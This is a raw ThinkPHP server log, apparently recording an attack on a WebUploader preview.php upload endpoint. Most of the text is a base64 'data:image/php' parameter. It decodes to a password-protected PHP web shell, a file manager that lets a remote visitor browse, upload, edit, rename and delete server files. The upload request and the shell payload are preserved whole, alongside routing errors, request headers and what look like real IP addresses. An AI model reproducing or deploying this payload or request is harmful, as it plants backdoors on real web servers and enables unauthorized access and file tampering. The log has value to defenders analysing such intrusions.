Jz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:56+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002737s] [吞吐率:365.36req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cu